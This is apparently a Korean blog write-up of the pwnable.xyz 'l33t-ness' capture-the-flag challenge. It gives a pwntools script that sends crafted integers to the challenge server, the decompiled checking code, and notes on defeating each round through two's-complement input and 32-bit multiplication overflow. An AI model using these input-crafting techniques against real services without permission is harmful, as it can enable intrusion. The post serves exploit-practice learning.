from pwn import *
p = remote("svc.pwnable.xyz", 30008)
p.recvuntil("x: ")
p.send("1336")
p.recvuntil("y: ")
p.send("4294967295")
p.recvline()
p.sendline("3 1431656211")
p.recvline()
p.sendline("1 1 1 3 3")
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("The l33t-ness level.");
// 라운드 세 개 전부 통과
if ( (unsigned __int8)round_1() && (unsigned __int8)round_2() && (unsigned __int8)round_3() )
win();
return 0;
}
_BOOL8 round_1()
{
int v1; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("=== 1eet ===");
memset(s, 0, 0x20uLL);
printf("x: ");
read(0, s, 0x10uLL);
printf("y: ");
read(0, &s[16], 0x10uLL);
// strchr(const char* str, int c)
// str 문자열 안에 문자 c(아스키값) 있는지 검사하고 있으면 해당 위치 포인터 반환, 없으면 NULL
if ( strchr(s, 45) || strchr(&s[16], 45) ) // 45 = '-'
return 0LL;
v1 = atoi(s);
v2 = atoi(&s[16]);
return v1 <= 1336 && v2 <= 1336 && v1 - v2 == 1337;
}
_BOOL8 round_2()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("=== t00leet ===");
v1 = 0;
v2 = 0;
_isoc99_scanf("%d %d", &v1, &v2);
return v1 > 1 && v2 > 1337 && v1 * v2 == 1337;
}
_BOOL8 round_3()
{
int i; // [rsp+0h] [rbp-30h]
__int64 v2; // [rsp+10h] [rbp-20h] BYREF
__int64 v3; // [rsp+18h] [rbp-18h] BYREF
int v4; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("=== 3leet ===");
v2 = 0LL;
v3 = 0LL;
v4 = 0;
// rbp-0x20, rbp-0x1c, rbp-0x18,
_isoc99_scanf("%d %d %d %d %d", &v2, (char *)&v2 + 4, &v3, (char *)&v3 + 4, &v4);
for ( i = 1; i <= 4; ++i )
{
// v2_low <= v2_high <= v3_low <= v3_high <= v4 여야 겠네
if ( *((_DWORD *)&v2 + i) < *((_DWORD *)&v2 + i - 1) )
return 0LL;
}
// #define HIDWROD(I) ((DWORD)((DWORDLONG)(I)>>32 & 0xFFFFFFFF)) 이렇게 생각하면 됨, 상위 4Byte
return HIDWORD(v3) + (_DWORD)v3 + HIDWORD(v2) + (_DWORD)v2 + v4 == HIDWORD(v3)
* (_DWORD)v3
* HIDWORD(v2)
* (_DWORD)v2
* v4;
}
- round1()은 4byte signed int v1,v2를 입력받는데
- v1<=1336, v2<=1336 이면서 v1-v2=1337이어야 함
- v1=1336 입력하고 v2=-1 인데 2의 보수 형식으로 입력해야 함 (0xffffffff = 4294967295)
- round2()도 4byte signed int v1,v2를 입력받는데
- v1>1, v2>1337 이면서 v1*v2=1337 이어야 함 - overflow 이용 (0x100000539 = 4294968633)
// 실제로 어셈코드 보면 cmp eax, 0x539 이렇게 4byte만 비교한다
- 3으로 나눠지네 - (3, 1431656211) 조합이면 되겠다
- round3()는 v2 LODWORD, v2 HIDWORD, v3 LODWORD, v3 HIDWORD, v4 입력받는다
- a+b+c+d+e=a*b*c*d*e 되는 조합을 찾아서 넣으면 될텐데...
- (1,1,1,3,3) 하면 되겠네!
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - SUS (0) | 2023.02.09 |
---|---|
pwnable.xyz - fspoo (0) | 2023.02.09 |
pwnable.xyz - Jmp table (0) | 2023.02.05 |
pwnable.xyz - TLSv00 (0) | 2023.02.05 |
pwnable.xyz - free spirit (0) | 2023.02.05 |